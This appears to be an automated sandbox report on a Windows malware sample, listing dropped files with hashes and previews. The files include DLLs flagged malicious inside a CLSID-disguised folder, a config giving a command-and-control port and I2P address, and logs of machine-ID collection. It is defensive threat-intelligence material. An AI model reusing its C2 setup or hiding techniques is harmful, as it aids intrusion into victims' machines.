Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER5F4A.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6855112485147603
Encrypted:	false
SSDEEP:	96:TiZYWaA85nTD+oYoYoWbHZYEZ34tHi4V1KG9w+qvaWZrMEM7ITcUI3:2ZDaoof8uV0aWZrMEM0Tcb3
MD5:	77B0EFDD434A1472A6C9FCD1559364F2
SHA1:	46DE3A674460E9AA797DDB347413FE0F5F20664F
SHA-256:	399F88162FAEE0843A2C44CEB4DD66252E6153236F4F1D85D97D21908E967DB9
SHA-512:	54430129E8CBCF7C6E30133CA504563A9AE667BD32CA6858F7EF0C2E45576191AFA5D8222549A40CE9A851A002CB445CA0AADFEBDE21AF2E303DDB45181D5355
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\regid.1991-06.com.microsoft\regid.1991-06.com.microsoft_Windows-10-Pro.swidtag

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	999
Entropy (8bit):	4.966299883488245
Encrypted:	false
SSDEEP:	24:Jd4T7gw4TchTGBLtKEHcHGuDyeHRuDye6MGFiP6euDyRtz:34T53VGLv8HGuDyeHRuDye6MGFiP6euy
MD5:	24567B9212F806F6E3E27CDEB07728C0
SHA1:	371AE77042FFF52327BF4B929495D5603404107D
SHA-256:	82F352AD3C9B3E58ECD3207EDC38D5F01B14D968DA908406BD60FD93230B69F6
SHA-512:	5D5E65FCD9061DADC760C9B3124547F2BABEB49FD56A2FD2FE2AD2211A1CB15436DB24308A0B5A87DA24EC6AB2A9B0C5242D828BE85BD1B2683F9468CE310904
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>..<software_identification_tag xmlns="http://standards.iso.org/iso/19770/-2/2009/schema.xsd">...<entitlement_required_indicator>true</entitlement_required_indicator>...<product_title>Windows 10 Pro</product_title>...<product_version>....<name>10.0.19041.1865</name>....<numeric>.....<major>10</major>.....<minor>0</minor>.....<build>19041</build>.....<review>1865</review>....</numeric>...</product_version>...<software_creator>....<name>Microsoft Corporation</name>....<regid>regid.1991-06.com.microsoft</regid>...</software_creator>...<software_licensor>....<name>Microsoft Corporation</name>....<regid>regid.1991-06.com.microsoft</regid>...</software_licensor>...<software_id>....<unique_id>Windows-10-Pro</unique_id>....<tag_creator_regid>regid.1991-06.com.microsoft</tag_creator_regid>...</software_id>...<tag_creator>....<name>Microsoft Corporation</name>....<regid>regid.1991-06.com.microsoft</regid>...</tag_creator>..</software_identification_tag>..

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\95cRhCj4pPDP.acl

Download File

Process:	C:\Users\user\AppData\Local\Temp\yhar2he6rpt6n0h1w6rh.exe
File Type:	data
Category:	dropped
Size (bytes):	456
Entropy (8bit):	3.2341395630162877
Encrypted:	false
SSDEEP:	12:Ml8Pi7t8+d/fQfjfEWNfElsfghFfShFfgmSem4emzYWr:k8APd/oj8i8ls0FSFgID7r
MD5:	40AB00517F4227F2C3C334F1D16B65B4
SHA1:	F8D57AF017E2209B4FB24122647FD7F71B67C87C
SHA-256:	4BAF4B78D05A28AF7DEE7DBBCE2B4EDF6053D9239C1756C932BE9F2FEEE4EF85
SHA-512:	75D74306F043B864295F09A60C19A43494C226664733C99318989CE5C22CB9395BB407FB5C8C0268AD9184A79813304ED5FC943A6B53DB54F5F225CDA31650E3
Malicious:	false
Preview:	C.o.m.p.u.t.e.r...{.2.0.d.0.4.f.e.0.-.3.a.e.a.-.1.0.6.9.-.a.2.d.8.-.0.8.0.0.2.b.3.0.3.0.9.d.}.....D.:.A.I.(.D.;.;.F.A.;.;.;.B.U.).(.A.;.;.F.A.;.;.;.B.A.).(.A.;.O.I.C.I.I.D.;.F.A.;.;.;.B.A.).(.A.;.I.D.;.F.A.;.;.;.S.Y.).(.A.;.O.I.C.I.I.O.I.D.;.F.A.;.;.;.C.O.).(.A.;.O.I.C.I.I.O.I.D.;.F.A.;.;.;.S.Y.).(.A.;.O.I.C.I.I.D.;.0.x.1.3.0.1.f.f.;.;.;.I.U.).(.A.;.O.I.C.I.I.D.;.0.x.1.3.0.1.f.f.;.;.;.S.U.).(.A.;.O.I.C.I.I.D.;.0.x.1.3.0.1.f.f.;.;.;.S.-.1.-.5.-.3.).....

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\cnccli.dll

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	115200
Entropy (8bit):	6.220212606349767
Encrypted:	false
SSDEEP:	1536:GQTj0nA3CwwEWLUbltMR8tGZ9G+Yv953a6nfgXqobk5l:GQP02C7LUbltdQG+Yra64Xqo45l
MD5:	BE6174AE2B452DA9D00F9C7C4D8A675B
SHA1:	0ABD2C76C82416AE9C30124C43802E2E49C8ED28
SHA-256:	A62BDF318386AAAB93F1D25144CFBDC1A1125AAAD867EFC4E49FE79590181EBF
SHA-512:	5631B1595F8CEE8C0DFA991852259FEE17EA8B73A9EED900A10450BBB7C846ACFC88C32930BE379D60EFA6AE1BBBEAD0A605A9F36E20129B53BCA36B13BA5858
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.................."...(............\........."h.............................P......7F....`... .........................................^....................................@..l...........................@...(.......................h............................text...(...........................`..`.data........0......................@....rdata..`d...@...f...(..............@..@.pdata..............................@..@.xdata..............................@..@.bss.....................................edata..^...........................@..@.idata..............................@....CRT....X.... ......................@....tls.........0......................@....reloc..l....@......................@..B........................................................................................................................................................................

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\cnccli.log

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2847
Entropy (8bit):	5.5631076386293214
Encrypted:	false
SSDEEP:	48:CFdHW54yclD7hcm9FLZ4WU4bcPPu4bcPPTM94bcPPZ4bcPPA4bcPPL4bcPPcWIea:idH9NdJ9Vj3YPpYPTNYP6YPTYPcYPVPi
MD5:	C41CE339E2210FB9B0BF8195FE9990BF
SHA1:	4E20FCF72ECB77ED3658A1C62B1A03113E3D3705
SHA-256:	999CAB392C55F248FC97A09390BC311C9667FE836D063BEB1289414BB57AA27A
SHA-512:	B811141CF861B95B392E896E96A14CFBCB8BDCEC566DFBF7EFB548BBF5402BF99A136AB55CD845B6CCEB5264F9EFAAEE4C95FA4DA0C22C525C62C36D88230AC5
Malicious:	false
Preview:	[I] (debug_init) -> Log open success(flog_path=C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\cnccli.log)..[I] (debug_init) -> Done..[D] (ini_get_sec) -> Done(name=main)..[D] (ini_get_var) -> Done(sec=main,name=version,value=400004957b19a09d)..[I] (module_load) -> Done(name=ntdll.dll,ret=0x00007ffb2ce30000)..[D] (module_get_proc) -> Done(hnd=0x00007ffb2ce30000,name=RtlGetVersion,ret=0x00007ffb2ce6e520)..[I] (sys_init) -> GetWindowsDirectoryA done(sys_win_dir=C:\Windows)..[D] (registry_get_value) -> Done(root=0xffffffff80000002,key=SOFTWARE\Microsoft\Cryptography,param=MachineGuid)..[I] (sys_init) -> GetWindowsDirectoryA done(sys_mach_guid=9e146be9-c76a-4720-bcdb-53011b87bd06)..[I] (sys_init) -> GetVolumeInformationA done(vol=C:\,vol_sn=39014b7a)..[I] (sys_init) -> Done(sys_uid=c76a8f0839014b7a,sys_os_ver=10.0.19045.0.0)..[I] (net_init) -> Done..[I] (ebus_init) -> Done..[D] (ini_get_sec) -> Done(name=cnccli)..[D] (ini_get_var) -> Done(sec=cnccli,name=server_host,value=c

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\config.ini

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	Generic INItialization configuration [cnccli]
Category:	dropped
Size (bytes):	214
Entropy (8bit):	5.0997449470012635
Encrypted:	false
SSDEEP:	6:1EVQLD4oeMuJO+70X1YIzODSVkXpTRL9gWVUDeLn:CjogJO+70X1YeCS2X9vgpKL
MD5:	26702FAAB91B6B144715714A96728F39
SHA1:	CBDC34FC8FD3559CD49475FB5BC76176A5F88FF8
SHA-256:	83D30846DD5576DE38A512B17163419D22FF35F2F5B0FE613C401E8A5A25B7A4
SHA-512:	50D35D3DCD60B6E57C1A277E6C3E7AFBB5C2B46425732FC5A9FD3C0A55FEBF5AB3F05411A83CEC230AAC40199774FF78F30848D57D1E04A11B9E60777B038289
Malicious:	false
Preview:	[main]..version=400004957b19a09d..[cnccli]..server_host=c21a8709..server_port=41674..server_timeo=15000..i2p_try_num=10..i2p_sam3_timeo=30000..i2p_addr=2lyi6mgj6tn4eexl6gwnujwfycmq7dcus2x42petanvpwpjlqrhq.b32.i2p..

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\dwlmgr.dll

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	104448
Entropy (8bit):	6.259370376612282
Encrypted:	false
SSDEEP:	1536:VQbC3TviBZTprAFnfkRAJhzTjvlsy2nD+cRi6ZQOobsAx34:VGC3TKBZTWJfImTjx2D+ei6ZQOkx34
MD5:	7A8E8A0842D8D65713DEE5393E806755
SHA1:	AF6F3A52009FBF62C21A290EFC34A94C151B683E
SHA-256:	51C131081921626D22FAF44977D5E4DCFE00E5D6CDDEDA877A82F13631BE7C2E
SHA-512:	D1B8D93B7EFBEAA348D3A01293AD5D92BC8F28EB2554DF5E6E71506D00D135390082C52C18D0BC3F0439B068777D8B2C43AAED930C72E5FFAB2593EEAC470CF4
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.................."...(............\.........?..............................0............`... .........................................^.......................$............ ..l............................v..(.......................`............................text...............................`..`.data...............................@....rdata...a... ...b..................@..@.pdata..$............h..............@..@.xdata..T............r..............@..@.bss.... ................................edata..^............\|..............@..@.idata...............~..............@....CRT....X...........................@....tls................................@....reloc..l.... ......................@..B........................................................................................................................................................................

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\dwlmgr.log

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1021
Entropy (8bit):	5.446262796592905
Encrypted:	false
SSDEEP:	24:CFAGHS+5lGyclY7GfyE7Bf7cRE9FLxJN4Jw0ERYSXY+e:CFdHS+54yclD7hcm9FLZ4WX0
MD5:	3F3942419DA6A3A4B7F012F7195E68B1
SHA1:	2FD2223C796D4B4041016985863C02003619B7BA
SHA-256:	B45ABC2AAB871B3B330C99526750ABAAD3DF8B2C5684890D1B808E8258174568
SHA-512:	4D0516CFACEE777259E5E73B9790B23291D49983B155572E893F4C2B162FE0FDE073E710E415C1135CA81FD61E7A0B7E8F2DC6A6A982EBB19850D885DF5D9605
Malicious:	false
Preview:	[I] (debug_init) -> Log open success(flog_path=C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\dwlmgr.log)..[I] (debug_init) -> Done..[D] (ini_get_sec) -> Done(name=main)..[D] (ini_get_var) -> Done(sec=main,name=version,value=400004957b19a09d)..[I] (module_load) -> Done(name=ntdll.dll,ret=0x00007ffb2ce30000)..[D] (module_get_proc) -> Done(hnd=0x00007ffb2ce30000,name=RtlGetVersion,ret=0x00007ffb2ce6e520)..[I] (sys_init) -> GetWindowsDirectoryA done(sys_win_dir=C:\Windows)..[D] (registry_get_value) -> Done(root=0xffffffff80000002,key=SOFTWARE\Microsoft\Cryptography,param=MachineGuid)..[I] (sys_init) -> GetWindowsDirectoryA done(sys_mach_guid=9e146be9-c76a-4720-bcdb-53011b87bd06)..[I] (sys_init) -> GetVolumeInformationA done(vol=C:\,vol_sn=39014b7a)..[I] (sys_init) -> Done(sys_uid=c76a8f0839014b7a,sys_os_ver=10.0.19045.0.0)..[I] (net_init) -> Done..[I] (ebus_init) -> Done..[I] (ebus_subscribe) -> Done(handler=0x00007ffb23adb070)..[I] (tcp_connect) -> Done(sock=0x328,host=7

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\evtsrv.dll

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	92672
Entropy (8bit):	6.242846530333761
Encrypted:	false
SSDEEP:	1536:Eb84+EBwpVmTx3sJg0jsEv5YqKnbGGOO5YhNDE:Eb84+EB7x3sJXwExKb/OOv
MD5:	FDCF93ACD089B505B524DDFA0FF947F9
SHA1:	A2BADA5807BA001758DBCE46DA634332A5CC14C2
SHA-256:	ADFE373F98CABF338577963DCEA279103C19FF04B1742DC748B9477DC0156BB4
SHA-512:	110455DC5C3F090A1341EE6D09D9B327CD03999C70D4A2C0B762B91BC334B0448E750CB1FD7B34CE729B8E1CD33B55A4E1FA1187586C2FF8850B2FD907AFE03E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.................."...(.....f......\.........Io....................................C.....`... .........................................^....................`..................l............................J..(....................................................text...............................`..`.data...............................@....rdata...U.......V..................@..@.pdata.......`.......<..............@..@.xdata.......p.......F..............@..@.bss....`................................edata..^............P..............@..@.idata...............R..............@....CRT....X............d..............@....tls.................f..............@....reloc..l............h..............@..B........................................................................................................................................................................

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\evtsrv.log

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	5334
Entropy (8bit):	5.400932112557523
Encrypted:	false
SSDEEP:	48:CFdHs54yclD7hcm9FLZ4WzBMwP/CEB8jVEmjsE9jwE97UWETek:idHrNdJ9VjzBpCEKEJEiEtEl
MD5:	63B446C4090EE74115BD9EFEA27AB090
SHA1:	72C2E9AA3E5C86C63EE105CB44D5339143F140BD
SHA-256:	BE52C8CF9CCB044B32A352C3ADFA4A9F2861AF187892DF92C8D3E867FC9359A2
SHA-512:	2EAB6DE83AACC2122B3CDDA2C13BA0BD02DD8BD2FBB61792A2C9B41200FA377AAC6DCC952CAD37075D79A8737A061973D890678E90348B61B5FBF95B2C2BB501
Malicious:	false
Preview:	[I] (debug_init) -> Log open success(flog_path=C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\evtsrv.log)..[I] (debug_init) -> Done..[D] (ini_get_sec) -> Done(name=main)..[D] (ini_get_var) -> Done(sec=main,name=version,value=400004957b19a09d)..[I] (module_load) -> Done(name=ntdll.dll,ret=0x00007ffb2ce30000)..[D] (module_get_proc) -> Done(hnd=0x00007ffb2ce30000,name=RtlGetVersion,ret=0x00007ffb2ce6e520)..[I] (sys_init) -> GetWindowsDirectoryA done(sys_win_dir=C:\Windows)..[D] (registry_get_value) -> Done(root=0xffffffff80000002,key=SOFTWARE\Microsoft\Cryptography,param=MachineGuid)..[I] (sys_init) -> GetWindowsDirectoryA done(sys_mach_guid=9e146be9-c76a-4720-bcdb-53011b87bd06)..[I] (sys_init) -> GetVolumeInformationA done(vol=C:\,vol_sn=39014b7a)..[I] (sys_init) -> Done(sys_uid=c76a8f0839014b7a,sys_os_ver=10.0.19045.0.0)..[I] (net_init) -> Done..[I] (server_init) -> CreateThread(routine_gc) done..[I] (server_init) -> CreateThread(routine_accept) done..[I] (server_init)

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\i2p.conf

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	8568
Entropy (8bit):	4.958673415285098
Encrypted:	false
SSDEEP:	96:e+I8WTr7LjdL33ZqPDNLWBsaBMG+xv9G86UJ5TMmyvmyLKkfUZleZnE/Ndm/7CIg:e+I8Mr7VtXl1zrrIqEVdm/7CItWR0SX
MD5:	27535CEE6740DFC50A78A0322415E67C
SHA1:	E80541CF15C8ED4C5EEDA8D8C24674A5B8A27F61
SHA-256:	FB0CDBF4E0215AE1866E97860C2AC3DD96E7498BFE2AF3D82378041CDFF7F292
SHA-512:	25F11A8262B5A2F59BD6C9D8673B5AD5A140EAE8C007244810B2924EB08B5CF54AE19E61BE5139319877278D11868BBD85BD2E6C67F5FAD4E2A458E2844EBC0C
Malicious:	false
Preview:	## Configuration file for a typical i2pd user.## See https://i2pd.readthedocs.io/en/latest/user-guide/configuration/.## for more options you can use in this file...## Lines that begin with "## " try to explain what's going on. Lines.## that begin with just "#" are disabled commands: you can enable them.## by removing the "#" symbol...## Tunnels config file.## Default: ~/.i2pd/tunnels.conf or /var/lib/i2pd/tunnels.conf.# tunconf = /var/lib/i2pd/tunnels.conf..## Tunnels config files path.## Use that path to store separated tunnels in different config files..## Default: ~/.i2pd/tunnels.d or /var/lib/i2pd/tunnels.d.# tunnelsdir = /var/lib/i2pd/tunnels.d..## Path to certificates used for verifying .su3, families.## Default: ~/.i2pd/certificates or /var/lib/i2pd/certificates.# certsdir = /var/lib/i2pd/certificates..## Where to write pidfile (default: /run/i2pd.pid, not used in Windows).# pidfile = /run/i2pd.pid..## Logging configuration section.## By default logs go to stdout with level 'inf

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\i2p.su3

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	data
Category:	dropped
Size (bytes):	62449
Entropy (8bit):	7.807149241969407
Encrypted:	false
SSDEEP:	1536:uzSVMhnCwJEZ4dJ4douBYaGGIW2QzPzp343mR:vKE29uBFBo2R
MD5:	688FDFAE15F328A84E8F19F8F4193AF2
SHA1:	C65D4CDA0C93B84154DFBC065AE78B9E2F7ECFA8
SHA-256:	8D37FF2458FDE376A41E9E702A9049FF89E78B75669C0F681CFCAFBA9D49688E
SHA-512:	F19BC7F204DBE3449ABE9494BFFF8BE632F20F1B4B8272F0AF71C4CEC344A20617C0909C024CB4A4E0C6B266D386CB127554DC70F3A6AA7A81DAF1A8748F5D2D
Malicious:	false
Preview:	I2Psu3.................................1726476901......reseed@cnc.netPK.........E0Y.L.`........;...routerInfo-CVE7qh1P~hZ~PX2FDY6wRTmrdDd1eQ5Nv7yBC0EcH-o=.dat.^...)....?E4T{w...U........5.x.ZT.v...C..~m.....r.u.._..0._>a....B.......1in..o...R...M.....2.0..1...?.&..1@.._.s....KrbA.-..5c..Nzvep.KU.s.n...Gy.E.y...GU.c..A.i.[HU..{I@v..5c.-..53....5..f Kpp..c....:.N..I..u..~~..u....%a........~F>.&.9..I..........\..Ff&..f...!CL!#.!....[.3..:.......J....:..DO...B.l.\gc....r...P__W[..C[......_.d#wG.t....ts.rG. .R.@...b....*c..t..#[...l......D.....<.0...B. ].4...P....(...J...>2.02243....}dll`aan`bj...................%...F..~Q......>....If.a..%..!...E......@...BD...d:..!.b'sDZ.5k^j.g.H\..JI..../..IM,N.N-.:..Z.I"(..$............+..e.....Y..[_...U....t.....n8CEbM...k.%W.^....`i..&[.Y.{}...d.Vn.g..0...PK.........>0Y....:.......;...routerInfo-7xGNdz1Bi17~K7q9lFTjGVPnQdN0tqNJ-xpZt5MSp1Q=.dat{lr...~./..<Yw_...".....%..E.....O..l.(.R<K^...>.i..{.D.s-.+...

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\i2p\destinations\meobwuynf5wltrqlzlptkwijsghtzqovd7qranfodaro4zunfkeq.dat

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	7.584283083217091
Encrypted:	false
SSDEEP:	12:Tx3MlWzRw3o8KDV7O1cph8XQlYKrfqmMjYN4KIaGMswGTqjhKt:T6lWVwwicp9lYKGmaYN4KIaNsHwKt
MD5:	5A69BF992B2C1A1656506371A4CC0B7E
SHA1:	8AE7F521F01985F8DC090BBF5ABC929D16BB4363
SHA-256:	353D3210A98889339D16BED1C3B4CBB743E3C2E8141A8712FBD1B74ABB34E055
SHA-512:	E3DE4ECCD9A6AF8AA0203D9447DDBA5728822DB2E93C5E3B8AA889B2066741DA5B12D88A6232F471F4339C350A39B8A3251311DFC6987843CD765979FA189ED0
Malicious:	false
Preview:	Oms..U..j..a..u.[=........O.".7.Q.....3...........N.{sR....8e.lo.Q.1.2\'c.B.....9ydQ.&..L..._.......;.S..}-o=..KG.S..DX8t.Np..Z...=4.7k.K.....^..R.d..6../..3H .\MP-.~....\.Y%.........B.0.e.(..\|..s..V...P..f..,.8vON...A.:..Y\|..d.].. U.....5z...R........drfG^...`.8.......4.8.....A...OA.#__..O.5r.n.....tgZY......<...R.(".'.E&$EI.n..].......yPP./3...d@..h...N9...o..-..'j...^GG...(5..Q[.`...j.BF....%..<..m..X...d._.<p.B=...........;...........O..q.....Q..@i.DjH:..?.s....6.\..

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\i2p\destinations\pk6qz7m4vmc2dg53n2w5nqkc6d6uvs3xjxxwaqlejdi2omeypq2q.dat

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	7.555565848052564
Encrypted:	false
SSDEEP:	12:8m/WOcPTN/sdcI5uss9bHuACCe8oz7DcV6HmYNudwVf3y://AbN/EcI5usIhxy7DNHZudwZi
MD5:	082807612529539441959F0CFD84D3CE
SHA1:	D4D3192712095C518EB6AFD1EDF18F21BE012B4C
SHA-256:	2B6576102ACE0DC16FECD966670E5F13CB2971AA8643D94A2D7270B116CD8E64
SHA-512:	AC2B28F18C8F7F68F0D02DA6B9E6C9C8DDE57417A40FAE74D0E6DE40AB5F96BEDC304DD15D540E3106588E41C5F6113ACB4751A4CF071C5C35FE769992A8F680
Malicious:	false
Preview:	..j.W.?'a\|+l.Ar. S.?.H.u-.-........%...Gy.=m.Z5...T%w...F0&eF...0<4...f.`x#............c...<....Z.a(}..O.g.u^v.ges.i..]........!....#.+...^...<.Qv..L.$(D...W...d=_...?\.O...9.B..4..kd`jj....d.S..:n..N..M.>.>.*...\|fR.D.,.m...W.&.F.\#....8 .......(@...2TL..D.$....)c.z...kXJ..}\|...z<...J..E..Rw..!.A..c.6Ig.$...$.l..]H..._..C.l.8.^.j.7..9.W..@0.....=.A....;...P..0?..B.e.A......{K...(rG..7c.? ...=........=.3...-...{h>Us.<.A.}..a.i.F.3.......2.Z?o...7.u..jWF#...H_..ntd...^....EkU\|...

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\i2p\destinations\scpm56td376hubp7zravlpmbttyj2ov7pc5jbs2vilt5h4rfyjpa.dat

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	7.51647207377326
Encrypted:	false
SSDEEP:	12:gzWYO4eG81cPe+SxyWHEl5VJEeWEBKxlEs+Ylif:g6YOD1cVS7khJ/PKTEs+5f
MD5:	A439CB069ACC06F874268D1BDD6DDB3E
SHA1:	54DB59556B5FAF66DCDA321405574D5405541286
SHA-256:	E8F4FD6B41CB61331E957402EC52C9844ACFC40D69FC8F14D5408745E0C9E0FE
SHA-512:	A25BFB59428E594613F1046603B153932FC8B8C455B89AC22CFA1FCA07F12683AB4B420AB7F28B349EBC33EF484D27A54A63C4426FF057A401A80510FEE3AFCB
Malicious:	false
Preview:	d.ie..IZ.I.\.3N.8........%.I^..uf..CvX.<.B.k.z.0...ut?.`H.h.+..Kc.lL}..JPC`.).-....3qX..........'Qr...Z.I.L=.*.@.<....@.]..8..n\|a..2.]j...D.$f.....].W....<t.....d]^..dK...)......tV..[V..t.l....^..k.1<\|r.u.^Ly8.w.....{.....s.........g.>.l.5..Z1E.B0..?UL.........#y.N..4Jj..@.D.....s...>....r.$..u7.//...w......yE7+.{:....^..........Xk.q=.s.W.@..........?-..a.)=....l.s...BB.{.zZ....[Go...m........1Z......#..Sj.1.....O..p4...E....<.Bs...l..z...5.j.3......x.Z.\#...L..v..<.O....(...[.8..Z.

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\i2p\destinations\swsxy2jlkacbi5dvsgj5ruqc2bg6blvxrb5zad6qsf2jnojigfhq.dat

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	7.599441616503169
Encrypted:	false
SSDEEP:	12:IWoJ1Rf/wZ5EUbkmJKtrByzIb8RMIq0BkdFbPvY7qGQZH2dJHg:IBydbkmJKtdTOPqakdFbPg7qGqHEJHg
MD5:	98118FD2508207878C22CE888A954EC4
SHA1:	C3497EEB2455EB61D5AA1959A0C583BED05FFDD0
SHA-256:	6E2B5D179F325329DCA4D55D261DAE4406DE7CF71CAB84FD730B35FB1FE33B3C
